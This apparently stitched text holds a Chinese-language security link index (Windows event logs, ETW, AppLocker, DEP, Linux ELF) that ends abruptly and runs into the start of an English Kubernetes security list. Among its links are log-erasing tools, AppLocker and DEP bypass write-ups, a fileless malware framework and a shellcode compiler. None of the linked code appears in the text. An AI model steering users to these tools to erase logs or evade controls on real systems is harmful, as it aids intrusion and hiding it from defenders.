- [**609**星][19d] [PS] [sbousseaden/evtx-attack-samples](https://github.com/sbousseaden/evtx-attack-samples) 与特定攻击和利用后渗透技术相关的Windows事件样例
- [**504**星][10m] [C#] [lowleveldesign/wtrace](https://github.com/lowleveldesign/wtrace) Command line tracing tool for Windows, based on ETW.
- [**479**星][5m] [PS] [sans-blue-team/deepbluecli](https://github.com/sans-blue-team/deepbluecli) a PowerShell Module for Threat Hunting via Windows Event Logs
- [**446**星][9m] [PS] [nsacyber/event-forwarding-guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) 帮助管理员使用Windows事件转发（WEF）收集与安全相关的Windows事件日志
- [**393**星][10m] [Py] [williballenthin/python-evtx](https://github.com/williballenthin/python-evtx) 纯Python编写的Windows事件日志解析器
- [**341**星][1y] [C++] [qax-a-team/eventcleaner](https://github.com/QAX-A-Team/EventCleaner) A tool mainly to erase specified records from Windows event logs, with additional functionalities.
- [**306**星][1m] [C#] [zodiacon/procmonx](https://github.com/zodiacon/procmonx) 通过Windows事件日志获取与Process Monitor显示的相同的信息，无需内核驱动
- [**282**星][3m] [C#] [fireeye/silketw](https://github.com/fireeye/silketw) flexible C# wrappers for ETW
- [**282**星][10m] [C#] [nsacyber/windows-event-log-messages](https://github.com/nsacyber/Windows-Event-Log-Messages) 检索Windows二进制文件中嵌入的Windows事件日志消息的定义，并以discoverable的格式提供它们
- [**261**星][3m] [C++] [gametechdev/presentmon](https://github.com/gametechdev/presentmon) Tool for collection and processing of ETW events related to DXGI presentation.
- [**249**星][3m] [C++] [microsoft/krabsetw](https://github.com/microsoft/krabsetw) KrabsETW provides a modern C++ wrapper and a .NET wrapper around the low-level ETW trace consumption functions.
### <a id="11c4c804569626c1eb02140ba557bb85"></a>文章
- 2019.12 [Cooper] [EventList, Matching Windows Event Log IDs With MITRE ATT&CK - Miriam Wiesner](https://www.youtube.com/watch?v=l5PpbOmopyA)
- 2019.09 [adventuresincyberchallenges] [Powershell Encoded Payload In Clear Text in Windows Event Log 4688](https://adventuresincyberchallenges.blogspot.com/2019/09/powershell-encoded-payload-in-clear.html)
- 2019.09 [Cyb3rWard0g] [Threat Hunting with ETW events and HELK — Part 2: Shipping ETW events to HELK ⚒](https://medium.com/p/16837116d2f5)
- 2019.09 [Cyb3rWard0g] [Threat Hunting with ETW events and HELK — Part 1: Installing SilkETW 🏄♀🏄](https://medium.com/p/6eb74815e4a0)
- 2019.05 [freebuf] [SilkETW：一款针对Windows事件追踪的自定义C#封装工具](https://www.freebuf.com/sectool/203531.html)
- 2019.04 [4sysops] [Forward Windows events to a Syslog server with free SolarWinds Event Log Forwarder for Windows](https://4sysops.com/archives/forward-windows-events-to-a-syslog-server-with-free-solarwinds-event-log-forwarder-for-windows/)
- 2019.02 [360] [ETW注册表监控windows内核实现原理](https://www.anquanke.com/post/id/171298/)
- 2019.01 [sans] [Rocking Your Windows EventID with ELK Stack](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1492181323.pdf)
- 2019.01 [sans] [Threat Hunting via Windows Event Logs](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1524493093.pdf)
- 2019.01 [sans] [Hunting for Lateral Movement Using Windows Event Log](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1536265369.pdf)
- 2018.12 [palantir] [Tampering with Windows Event Tracing: Background, Offense, and Defense](https://medium.com/p/4be7ac62ac63)
- 2018.12 [sophos] [Hunting for threats with Intercept X and the Windows Event Collector](https://news.sophos.com/en-us/2018/12/03/hunting-for-threats-with-intercept-x-and-the-windows-event-collector/)
- 2018.08 [4sysops] [Query multiple Windows event logs with PowerShell](https://4sysops.com/archives/query-multiple-windows-event-logs-with-powershell/)
- 2018.07 [criteo] [Grab ETW Session, Providers and Events](http://labs.criteo.com/2018/07/grab-etw-session-providers-and-events/)
- 2018.07 [3gstudent] [Windows Event Viewer Log (EVT)单条日志清除（三）——删除当前系统指定指定时间段evt日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-Event-Viewer-Log-(EVT)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%B8%89-%E5%88%A0%E9%99%A4%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E6%8C%87%E5%AE%9A%E6%8C%87%E5%AE%9A%E6%97%B6%E9%97%B4%E6%AE%B5evt%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/)
- 2018.07 [3gstudent] [Windows Event Viewer Log (EVT)单条日志清除（三）——删除当前系统指定指定时间段evt日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-Event-Viewer-Log-(EVT)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%B8%89-%E5%88%A0%E9%99%A4%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E6%8C%87%E5%AE%9A%E6%8C%87%E5%AE%9A%E6%97%B6%E9%97%B4%E6%AE%B5evt%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/)
- 2018.07 [pentesttoolz] [LogonTracer – Investigate Malicious Windows Logon By Visualizing And Analyzing Windows Event Log](https://pentesttoolz.com/2018/07/17/logontracer-investigate-malicious-windows-logon-by-visualizing-and-analyzing-windows-event-log/)
- 2018.07 [dragos] [EvtxToElk: A Python Module to Load Windows Event Logs into ElasticSearch](https://dragos.com/blog/20180717EvtxToElk.html)
- 2018.07 [3gstudent] [Windows Event Viewer Log (EVT)单条日志清除（二）——程序实现删除evt文件指定时间段的日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-Event-Viewer-Log-(EVT)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%BA%8C-%E7%A8%8B%E5%BA%8F%E5%AE%9E%E7%8E%B0%E5%88%A0%E9%99%A4evt%E6%96%87%E4%BB%B6%E6%8C%87%E5%AE%9A%E6%97%B6%E9%97%B4%E6%AE%B5%E7%9A%84%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/)
- 2018.07 [3gstudent] [Windows Event Viewer Log (EVT)单条日志清除（二）——程序实现删除evt文件指定时间段的日志记录](https://3gstudent.github.io/3gstudent.github.io/Windows-Event-Viewer-Log-(EVT)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-%E4%BA%8C-%E7%A8%8B%E5%BA%8F%E5%AE%9E%E7%8E%B0%E5%88%A0%E9%99%A4evt%E6%96%87%E4%BB%B6%E6%8C%87%E5%AE%9A%E6%97%B6%E9%97%B4%E6%AE%B5%E7%9A%84%E6%97%A5%E5%BF%97%E8%AE%B0%E5%BD%95/)
***
## <a id="184bbacd8b9e08c30cc9ffcee9513f44"></a>AppLocker
### <a id="8f1876dff78e80b60d00de25994276d9"></a>工具
- [**921**星][7m] [PS] [api0cradle/ultimateapplockerbypasslist](https://github.com/api0cradle/ultimateapplockerbypasslist) The goal of this repository is to document the most common techniques to bypass AppLocker.
### <a id="286317d6d7c1a0578d8f5db940201320"></a>文章
- 2019.11 [tyranidslair] [The Internals of AppLocker - Part 3 - Access Tokens and Access Checking](https://tyranidslair.blogspot.com/2019/11/the-internals-of-applocker-part-3.html)
- 2019.11 [tyranidslair] [The Internals of AppLocker - Part 2 - Blocking Process Creation](https://tyranidslair.blogspot.com/2019/11/the-internals-of-applocker-part-2.html)
- 2019.11 [tyranidslair] [The Internals of AppLocker - Part 1 - Overview and Setup](https://tyranidslair.blogspot.com/2019/11/the-internals-of-applocker-part-1.html)
- 2019.09 [blackhillsinfosec] [Getting Started With AppLocker](https://www.blackhillsinfosec.com/getting-started-with-applocker/)
- 2019.08 [p0w3rsh3ll] [How to delete a single Applocker rule](https://p0w3rsh3ll.wordpress.com/2019/08/02/how-to-delete-a-single-applocker-rule/)
- 2019.05 [oddvar] [A small discovery about AppLocker](https://oddvar.moe/2019/05/29/a-small-discovery-about-applocker/)
- 2019.04 [4hou] [通过regsrv32.exe绕过Applocker应用程序白名单的多种方法](https://www.4hou.com/web/17354.html)
- 2019.03 [4sysops] [Application whitelisting: Software Restriction Policies vs. AppLocker vs. Windows Defender Application Control](https://4sysops.com/archives/application-whitelisting-software-restriction-policies-vs-applocker-vs-windows-defender-application-control/)
- 2019.03 [4hou] [逃避手段再开花——从一个能逃避AppLocker和AMSI检测的Office文档讲起](https://www.4hou.com/system/16916.html)
- 2019.03 [yoroi] [The Document that Eluded AppLocker and AMSI](https://blog.yoroi.company/research/the-document-that-eluded-applocker-and-amsi/)
- 2019.03 [p0w3rsh3ll] [Applocker and PowerShell: how do they tightly work together?](https://p0w3rsh3ll.wordpress.com/2019/03/07/applocker-and-powershell-how-do-they-tightly-work-together/)
- 2019.02 [4hou] [如何以管理员身份绕过AppLocker](http://www.4hou.com/web/16213.html)
- 2019.02 [oddvar] [Bypassing AppLocker as an admin](https://oddvar.moe/2019/02/01/bypassing-applocker-as-an-admin/)
- 2019.01 [hackingarticles] [Windows Applocker Policy – A Beginner’s Guide](https://www.hackingarticles.in/windows-applocker-policy-a-beginners-guide/)
- 2019.01 [t00ls] [投稿文章：Bypass Applocker + 免杀执行任意 shellcode [ csc + installUtil ]](https://www.t00ls.net/articles-49443.html)
- 2018.12 [hecfblog] [Daily Blog #580: Applocker and Windows 10](https://www.hecfblog.com/2018/12/daily-blog-580-applocker-and-windows-10.html)
- 2018.12 [hecfblog] [Daily Blog #581: Forensic Lunch Test Kitchen 12/28/18 Syscache Applocker and Server 2012](https://www.hecfblog.com/2018/12/daily-blog-581-forensic-lunch-test.html)
- 2018.12 [360] [多维度对抗Windows AppLocker](https://www.anquanke.com/post/id/168633/)
- 2018.12 [tsscyber] [BloodHound.xpab — Applocker bypass](https://medium.com/p/895377ffa98e)
- 2018.10 [tsscyber] [AppLocker Bypass — presentationhost.exe](https://medium.com/p/8c87b2354cd4)
***
## <a id="b478e9a9a324c963da11437d18f04998"></a>工具
### <a id="f9fad1d4d1f0e871a174f67f63f319d8"></a>新添加的
### <a id="518d80dfb8e9dda028d18ace1d3f3981"></a>Procmon
### <a id="d90b60dc79837e06d8ba2a7ee1f109d3"></a>.NET
- [**12676**星][14d] [C#] [0xd4d/dnspy](https://github.com/0xd4d/dnspy) .NET debugger and assembly editor
- [**9261**星][11d] [C#] [icsharpcode/ilspy](https://github.com/icsharpcode/ilspy) .NET Decompiler
- [**3694**星][27d] [C#] [0xd4d/de4dot](https://github.com/0xd4d/de4dot) .NET deobfuscator and unpacker.
- [**3263**星][7m] [JS] [sindresorhus/speed-test](https://github.com/sindresorhus/speed-test) Test your internet connection speed and ping using speedtest.net from the CLI
- [**1657**星][14d] [C#] [jbevain/cecil](https://github.com/jbevain/cecil) C#库, 探查/修改/生成 .NET App/库
- [**217**星][11m] [C#] [rainwayapp/warden](https://github.com/rainwayapp/warden) Warden.NET is an easy to use process management library for keeping track of processes on Windows.
### <a id="6d2fe834b7662ecdd48c17163f732daf"></a>Environment&&环境&&配置
- [**1521**星][11m] [PS] [joefitzgerald/packer-windows](https://github.com/joefitzgerald/packer-windows) 使用Packer创建Vagrant boxes的模板
- [**1347**星][1m] [Go] [securitywithoutborders/hardentools](https://github.com/securitywithoutborders/hardentools) 禁用许多有危险的Windows功能
- [**1156**星][1y] [HTML] [nsacyber/windows-secure-host-baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) Windows 10和Windows Server 2016 DoD 安全主机基准设置的配置指南
- [**1008**星][6m] [adolfintel/windows10-privacy](https://github.com/adolfintel/windows10-privacy) Win10隐私指南
- [**508**星][17d] [PS] [stefanscherer/packer-windows](https://github.com/stefanscherer/packer-windows) Windows Packer 模板：Win10, Server 2016, 1709, 1803, 1809, 2019, 1903, Insider with Docker
### <a id="8bfd27b42bb75956984994b3419fb582"></a>进程注入
### <a id="1c6069610d73eb4246b58d78c64c9f44"></a>代码注入
### <a id="7c1541a69da4c025a89b0571d8ce73d2"></a>内存模块
### <a id="19cfd3ea4bd01d440efb9d4dd97a64d0"></a>VT&&虚拟化&&Hypbervisor
- [**1348**星][22d] [C] [intel/haxm](https://github.com/intel/haxm) Intel 开源的英特尔硬件加速执行管理器，通过硬件辅助的虚拟化引擎，加速 Windows/macOS 主机上的 IA emulation（(x86/ x86_64) ）
- [**1011**星][1y] [C] [ionescu007/simplevisor](https://github.com/ionescu007/simplevisor) 英特尔VT-x虚拟机管理程序，简单、可移植。支持Windows和UEFI
- [**717**星][23d] [C++] [tandasat/hyperplatform](https://github.com/tandasat/hyperplatform) 基于Intel VT-x的虚拟机管理程序，旨在在Windows上提供精简的VM-exit过滤平台
- [**570**星][12m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序，支持Windows和Linux
- 重复区段: [Linux->工具->新添加](#203d00ef3396d68f5277c90279f4ebf3) |
### <a id="c3cda3278305549f4c21df25cbf638a4"></a>内核&&驱动
- [**933**星][9m] [C] [microsoft/windows-driver-frameworks](https://github.com/microsoft/windows-driver-frameworks) Windows驱动框架(WDF)
- [**781**星][19d] [axtmueller/windows-kernel-explorer](https://github.com/axtmueller/windows-kernel-explorer) Windows内核研究工具
- [**510**星][5m] [Py] [rabbitstack/fibratus](https://github.com/rabbitstack/fibratus) Windows内核探索和跟踪工具
- [**479**星][1m] [C] [jkornev/hidden](https://github.com/jkornev/hidden) Windows驱动，带用户模式接口：隐藏文件系统和注册表对象、保护进程等
- [**278**星][12d] [PS] [microsoftdocs/windows-driver-docs](https://github.com/MicrosoftDocs/windows-driver-docs) 官方Windows驱动程序工具包文档
### <a id="920b69cea1fc334bbc21a957dd0d9f6f"></a>注册表
- [**490**星][14d] [Batchfile] [chef-koch/regtweaks](https://github.com/chef-koch/regtweaks) Windows注册表调整（Win 7-Win 10）
- [**288**星][8m] [Py] [williballenthin/python-registry](https://github.com/williballenthin/python-registry) 用于对Windows NT注册表文件进行纯读取访问的Python库
### <a id="d295182c016bd9c2d5479fe0e98a75df"></a>系统调用
- [**725**星][2m] [HTML] [j00ru/windows-syscalls](https://github.com/j00ru/windows-syscalls) Windows 系统调用表(NT/2000/XP/2003/Vista/2008/7/2012/8/10)
- [**328**星][2m] [C] [hfiref0x/syscalltables](https://github.com/hfiref0x/syscalltables) Windows NT x64系统调用表
### <a id="1afda3039b4ab9a3a1f60b179ccb3e76"></a>其他
- [**949**星][3m] [C] [basil00/divert](https://github.com/basil00/divert) 用户模式数据包拦截库，适用于Win 7/8/10
- [**863**星][14d] [C++] [henrypp/simplewall](https://github.com/henrypp/simplewall) 为Windows 过滤平台提供的配置界面
- [**726**星][2m] [Py] [diyan/pywinrm](https://github.com/diyan/pywinrm) Python实现的WinRM客户端
- [**570**星][1m] [C] [hfiref0x/winobjex64](https://github.com/hfiref0x/winobjex64) Windows对象浏览器. x64
- [**463**星][8m] [C#] [microsoft/dbgshell](https://github.com/microsoft/dbgshell) PowerShell编写的Windows调试器引擎前端
- [**418**星][15d] [C] [samba-team/samba](https://github.com/samba-team/samba) 适用于Linux和Unix的标准Windows interoperability程序套件
- [**389**星][2m] [C#] [microsoft/binskim](https://github.com/microsoft/binskim) 二进制静态分析工具，可为PE和ELF二进制格式提供安全性和正确性分析
- [**387**星][19d] [Jupyter Notebook] [microsoft/windowsdefenderatp-hunting-queries](https://github.com/microsoft/windowsdefenderatp-hunting-queries) 在MS Defender ATP中进行高级查询的示例
- [**370**星][27d] [Ruby] [winrb/winrm](https://github.com/winrb/winrm) 在Windows中使用WinRM的功能调用原生对象的SOAP库。Ruby编写
- [**360**星][12d] [C#] [digitalruby/ipban](https://github.com/digitalruby/ipban) 监视Windows/Linux系统的登录失败和不良行为，并封禁对应的IP地址。高度可配置，精简且功能强大。
- [**269**星][12m] [Py] [hakril/pythonforwindows](https://github.com/hakril/pythonforwindows) 简化Python与Windows操作系统交互的库
- [**238**星][5m] [PS] [microsoft/aaronlocker](https://github.com/microsoft/aaronlocker) Windows应用程序白名单
- [**233**星][10m] [Go] [masterzen/winrm](https://github.com/masterzen/winrm) Windows远程命令执行，命令行工具+库，Go编写
- [**232**星][1y] [C++] [ionescu007/simpleator](https://github.com/ionescu007/simpleator) Windows x64用户模式应用程序模拟器
- [**229**星][4m] [C] [tishion/mmloader](https://github.com/tishion/mmloader) 绕过Windows PE Loader，直接从内存中加载DLL模块（x86/x64）
- [**228**星][3m] [C] [leecher1337/ntvdmx64](https://github.com/leecher1337/ntvdmx64) 在64位版本上执行Windows DOS版的 NTVDM
- [**226**星][1y] [C++] [rexdf/commandtrayhost](https://github.com/rexdf/commandtrayhost) 监控Windows systray的命令行工具
- [**210**星][3m] [adguardteam/adguardforwindows](https://github.com/adguardteam/adguardforwindows) Windows系统范围的AdBlocker
- [**208**星][10m] [C] [hzqst/unicorn_pe](https://github.com/hzqst/unicorn_pe) 模拟Windows PE文件的代码执行，基于Unicorn
- [**205**星][3m] [C] [jasonwhite/ducible](https://github.com/jasonwhite/ducible) 使PE和PDB的构建具有可复制性
***
## <a id="3939f5e83ca091402022cb58e0349ab8"></a>文章
### <a id="8e1344cae6e5f9a33e4e5718a012e292"></a>新添加
### <a id="fa89526db1f9373c57ea4ffa1ac8c39f"></a>DEP
- 2019.11 [aliyun] [ARM EXP 开发 - 绕过 DEP 执行 mprotect()](https://xz.aliyun.com/t/6750)
- 2019.07 [codingvision] [Bypassing ASLR and DEP - Getting Shells with pwntools](https://codingvision.net/security/bypassing-aslr-dep-getting-shells-with-pwntools)
- 2019.01 [fuzzysecurity] [MS13-009 Use-After-Free IE8 (DEP)](http://fuzzysecurity.com/exploits/20.html)
- 2019.01 [fuzzysecurity] [BlazeVideo HDTV Player 6.6 Professional SEH&DEP&ASLR](http://fuzzysecurity.com/exploits/11.html)
- 2019.01 [fuzzysecurity] [NCMedia Sound Editor Pro v7.5.1 SEH&DEP&ASLR](http://fuzzysecurity.com/exploits/16.html)
- 2019.01 [fuzzysecurity] [ALLMediaServer 0.8 SEH&DEP&ASLR](http://fuzzysecurity.com/exploits/15.html)
- 2018.12 [360] [CoolPlayer bypass DEP(CVE-2008-3408)分析](https://www.anquanke.com/post/id/167424/)
- 2018.09 [duo] [Weak Apple DEP Authentication Leaves Enterprises Vulnerable to Social Engineering Attacks and Rogue Devices](https://duo.com/blog/weak-apple-dep-authentication-leaves-enterprises-vulnerable-to-social-engineering-attacks-and-rogue-devices)
- 2018.09 [3or] [ARM Exploitation - Defeating DEP - executing mprotect()](https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html)
- 2018.09 [3or] [ARM Exploitation - Defeating DEP - execute system()](https://blog.3or.de/arm-exploitation-defeating-dep-execute-system.html)
- 2018.06 [pediy] [[原创]Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow](https://bbs.pediy.com/thread-228537.htm)
- 2018.05 [pediy] [[翻译]DEP缓解技术(一)](https://bbs.pediy.com/thread-226625.htm)
- 2017.12 [360] [利用缓解技术：数据执行保护（DEP）](https://www.anquanke.com/post/id/91266/)
- 2017.12 [0x00sec] [Exploit Mitigation Techniques - Data Execution Prevention (DEP)](https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634/)
- 2017.10 [freebuf] [在64位系统中使用ROP+Return-to-dl-resolve来绕过ASLR+DEP](http://www.freebuf.com/articles/system/149364.html)
- 2017.10 [freebuf] [如何在32位系统中使用ROP+Return-to-dl来绕过ASLR+DEP](http://www.freebuf.com/articles/system/149214.html)
- 2017.08 [pediy] [[原创]利用Ret2Libc挑战DEP——利用ZwSetInformationProcess](https://bbs.pediy.com/thread-220346.htm)
- 2017.06 [360] [ropasaurusrex:ROP入门教程——DEP（下）](https://www.anquanke.com/post/id/86197/)
- 2017.06 [360] [ropasaurusrex:ROP入门教程——DEP（上）](https://www.anquanke.com/post/id/86196/)
- 2017.05 [myonlinesecurity] [fake clothing order Berhanu (PURCHASE DEPARTMENT) using winace files delivers Loki bot](https://myonlinesecurity.co.uk/fake-clothing-order-berhanu-purchase-department-using-winace-files-delivers-loki-bot/)
### <a id="af06263e9a92f6036dc5d4c4b28b9d8c"></a>Procmon
- 2017.06 [lowleveldesign] [How to decode managed stack frames in procmon traces](https://lowleveldesign.org/2017/06/23/how-to-decode-managed-stack-frames-in-procmon-traces/)
- 2017.02 [lowleveldesign] [When procmon trace is not enough](https://lowleveldesign.org/2017/02/20/when-procmon-trace-is-not-enough/)
- 2016.09 [dist67] [Malware: Process Explorer & Procmon](https://www.youtube.com/watch?v=vq12OCVm2-o)
- 2015.06 [guyrleech] [Advanced Procmon Part 2 – Filtering inclusions](https://guyrleech.wordpress.com/2015/06/22/advanced-procmon-part-2-filtering-inclusions/)
- 2014.12 [guyrleech] [Advanced Procmon Part 1 – Filtering exclusions](https://guyrleech.wordpress.com/2014/12/25/advanced-procmon-part-1-filtering-exclusions/)
# <a id="dc664c913dc63ec6b98b47fcced4fdf0"></a>Linux
***
## <a id="a63015576552ded272a242064f3fe8c9"></a>ELF
### <a id="929786b8490456eedfb975a41ca9da07"></a>工具
- [**930**星][15d] [Py] [eliben/pyelftools](https://github.com/eliben/pyelftools) Parsing ELF and DWARF in Python
- [**787**星][2m] [C] [nixos/patchelf](https://github.com/nixos/patchelf) A small utility to modify the dynamic linker and RPATH of ELF executables
- [**411**星][9m] [Assembly] [mewmew/dissection](https://github.com/mewmew/dissection) The dissection of a simple "hello world" ELF binary.
- [**337**星][9m] [Py] [rek7/fireelf](https://github.com/rek7/fireelf) Fileless Linux Malware Framework
- [**277**星][4m] [Shell] [cryptolok/aslray](https://github.com/cryptolok/aslray) Linux ELF x32/x64 ASLR DEP/NX bypass exploit with stack-spraying
- [**233**星][2m] [C] [elfmaster/libelfmaster](https://github.com/elfmaster/libelfmaster) Secure ELF parsing/loading library for forensics reconstruction of malware, and robust reverse engineering tools
### <a id="72d101d0f32d5521d5d305e7e653fdd3"></a>文章
- 2019.10 [aliyun] [64 位 elf 的 one_gadget 通杀思路](https://xz.aliyun.com/t/6598)
- 2019.10 [HackersOnBoard] [AFL's Blindspot and How to Resist AFL Fuzzing for Arbitrary ELF Binaries](https://www.youtube.com/watch?v=fhNNPJVlj4A)
- 2019.10 [HackersOnBoard] [Black Hat USA 2016 Intra-Process Memory Protection for App on ARM & X86 Leveraging the ELF ABI](https://www.youtube.com/watch?v=IeBrb1-AtOk)
- 2019.09 [freebuf] [CVE-2018-6924：解析FreeBSD ELF 头导致内核内存泄露](https://www.freebuf.com/vuls/213345.html)
- 2019.07 [quarkslab] [CVE-2018-6924: FreeBSD ELF Header Parsing Kernel Memory Disclosure](https://blog.quarkslab.com/cve-2018-6924-freebsd-elf-header-parsing-kernel-memory-disclosure.html)
- 2019.07 [trendmicro] [A Quick and Efficient Method For Locating the main() function of Linux ELF Malware Variants](https://blog.trendmicro.com/trendlabs-security-intelligence/a-quick-and-efficient-method-for-locating-the-main-function-of-linux-elf-malware-variants/)
- 2019.05 [0x00sec] [Doubt infect ELF](https://0x00sec.org/t/doubt-infect-elf/13605/)
- 2019.04 [guitmz] [Linux ELF Runtime Crypter](https://www.guitmz.com/linux-elf-runtime-crypter/)
- 2019.03 [guitmz] [Running ELF executables from memory](https://www.guitmz.com/running-elf-from-memory/)
- 2019.02 [icyphox] [Python for Reverse Engineering #1: ELF Binaries](https://medium.com/p/e31e92c33732)
- 2019.01 [aliyun] [圣诞老人的ELFs：在没有execve的情况下运行Linux可执行文件](https://xz.aliyun.com/t/3856)
- 2019.01 [freebuf] [Pwntools之DynELF原理探究](https://www.freebuf.com/news/193646.html)
- 2019.01 [rapid7] [Santa's ELFs: Running Linux Executables Without execve](https://blog.rapid7.com/2019/01/03/santas-elfs-running-linux-executables-without-execve/)
- 2018.12 [360] [Linux系统内存执行ELF的多种方式](https://www.anquanke.com/post/id/168791/)
- 2018.12 [ZeroNights] [Yaroslav Moskvin - ELF execution in Linux RAM](https://www.youtube.com/watch?v=Q23nuzZ5YJI)
- 2018.11 [k3170makan] [Introduction to the ELF Format (Part VII): Dynamic Linking / Loading and the .dynamic section](http://blog.k3170makan.com/2018/11/introduction-to-elf-format-part-vii.html)
- 2018.10 [k3170makan] [Introduction to the ELF Format (Part VI) : More Relocation tricks - r_addend execution (Part 3)](http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-vi-more.html)
- 2018.10 [k3170makan] [Introduction to The ELF Format (Part VI): The Symbol Table and Relocations (Part 2)](http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-vi_18.html)
- 2018.10 [k3170makan] [Introduction to the ELF Format (Part VI) : The Symbol Table and Relocations (Part 1)](http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-vi.html)
- 2018.10 [k3170makan] [Introduction to the ELF Format (Part V) : Understanding C start up .init_array and .fini_array sections](http://blog.k3170makan.com/2018/10/introduction-to-elf-format-part-v.html)
***
## <a id="89e277bca2740d737c1aeac3192f374c"></a>工具
### <a id="203d00ef3396d68f5277c90279f4ebf3"></a>新添加
- [**1450**星][2m] [C] [feralinteractive/gamemode](https://github.com/feralinteractive/gamemode) Optimise Linux system performance on demand
- [**1413**星][21d] [C++] [google/nsjail](https://github.com/google/nsjail) A light-weight process isolation tool, making use of Linux namespaces and seccomp-bpf syscall filters (with help of the kafel bpf language)
- [**895**星][29d] [C] [buserror/simavr](https://github.com/buserror/simavr) simavr is a lean, mean and hackable AVR simulator for linux & OSX
- [**759**星][1m] [Py] [korcankaraokcu/pince](https://github.com/korcankaraokcu/pince) A reverse engineering tool that'll supply the place of Cheat Engine for linux
- [**741**星][2m] [C] [yrp604/rappel](https://github.com/yrp604/rappel) A linux-based assembly REPL for x86, amd64, armv7, and armv8
- [**731**星][17d] [C] [strace/strace](https://github.com/strace/strace) strace is a diagnostic, debugging and instructional userspace utility for Linux
- [**570**星][12m] [C] [asamy/ksm](https://github.com/asamy/ksm) 快速、hackable且简单的x64 VT-x虚拟机管理程序，支持Windows和Linux
- 重复区段: [Windows->工具->VT](#19cfd3ea4bd01d440efb9d4dd97a64d0) |
- [**565**星][12d] [C++] [intel/linux-sgx](https://github.com/intel/linux-sgx) Intel SGX for Linux*
- [**560**星][2m] [Py] [autotest/autotest](https://github.com/autotest/autotest) Fully automated tests on Linux
- [**536**星][5m] [C++] [nytrorst/shellcodecompiler](https://github.com/nytrorst/shellcodecompiler) 将C/C ++样式代码编译成一个小的、与位置无关且无NULL的Shellcode，用于Windows（x86和x64）和Linux（x86和x64）
- [**509**星][8m] [C] [iovisor/ply](https://github.com/iovisor/ply) Dynamic Tracing in Linux
- [**468**星][9d] [C] [libreswan/libreswan](https://github.com/libreswan/libreswan) an Internet Key Exchange (IKE) implementation for Linux.
- [**441**星][12d] [C] [facebook/openbmc](https://github.com/facebook/openbmc) OpenBMC is an open software framework to build a complete Linux image for a Board Management Controller (BMC).
- [**405**星][10m] [Shell] [microsoft/linux-vm-tools](https://github.com/microsoft/linux-vm-tools) Hyper-V Linux Guest VM Enhancements
- [**393**星][2m] [Shell] [yadominjinta/atilo](https://github.com/yadominjinta/atilo) Linux installer for termux
- [**354**星][2m] [C] [seccomp/libseccomp](https://github.com/seccomp/libseccomp) an easy to use, platform independent, interface to the Linux Kernel's syscall filtering mechanism
- [**331**星][5m] [Go] [capsule8/capsule8](https://github.com/capsule8/capsule8) 对云本地，容器和传统的基于 Linux 的服务器执行高级的行为监控
- [**282**星][2m] [Py] [facebook/fbkutils](https://github.com/facebook/fbkutils) A variety of utilities built and maintained by Facebook's Linux Kernel Team that we wish to share with the community.
- [**228**星][8m] [C] [wkz/ply](https://github.com/wkz/ply) Light-weight Dynamic Tracer for Linux
***
## <a id="f6d78e82c3e5f67d13d9f00c602c92f0"></a>文章
### <a id="bdf33f0b1200cabea9c6815697d9e5aa"></a>新添加
|
# :lock: awesome-kubernetes-security [](https://awesome.re)
A curated list of awesome Kubernetes security resources. Can you dig it?
## Open Source Projects
- [aad-pod-identity](https://github.com/Azure/aad-pod-identity/) - Assign Azure AD idenitites to pods in Kubernetes, in order to access Azure resources
- [audit2rbac](https://github.com/liggitt/audit2rbac) - Autogenerate RBAC policies based on Kubernetes audit logs
- [CDK](https://github.com/cdk-team/CDK) - Zero Dependency Container Penetration Toolkit
- [Deepfence ThreatMapper](https://github.com/deepfence/ThreatMapper) - Apache v2, powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless
- [cnspec](https://cnspec.io) - Scan Kubernetes clusters, containers, and manifest files for vulnerabilities and misconfigurations
- [falco](https://github.com/falcosecurity/falco) - Container Native Runtime Security
- [KBOM](https://github.com/ksoclabs/kbom) - Kubernetes Bill of Materials Toolkit
- [kdigger](https://github.com/quarkslab/kdigger) - Kubernetes focused container assessment and context discovery tool for penetration testing
- [kiam](https://github.com/uswitch/kiam) - Integrate AWS IAM with Kubernetes
- [kube-bench](https://github.com/aquasecurity/kube-bench) - Check whether Kubernetes is deployed according to security best practics
- [kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters
- [kube-psp-advisor](https://github.com/sysdiglabs/kube-psp-advisor) - Help building an adaptive and fine-grained pod security policy
- [kube-scan](https://github.com/octarinesec/kube-scan) - k8s cluster risk assessment tool
- [kubescape](https://github.com/kubescape/kubescape) - k8s risk analysis, security compliance, and misconfiguration scanning.
- [kubelight - WIP but promising](https://github.com/OWASP/KubeLight) - OWASP project to scan your Kubernetes Cluster for Security & Compliance.
- [Kubei](https://github.com/Portshift/kubei) - Vulnerabilities scanner for Kubernetes clusters
- [kube2iam](https://github.com/jtblin/kube2iam) - Provide different AWS IAM roles for pods running on Kubernetes
- [kubeaudit](https://github.com/Shopify/kubeaudit) - Audit your Kubernetes clusters against common security controls
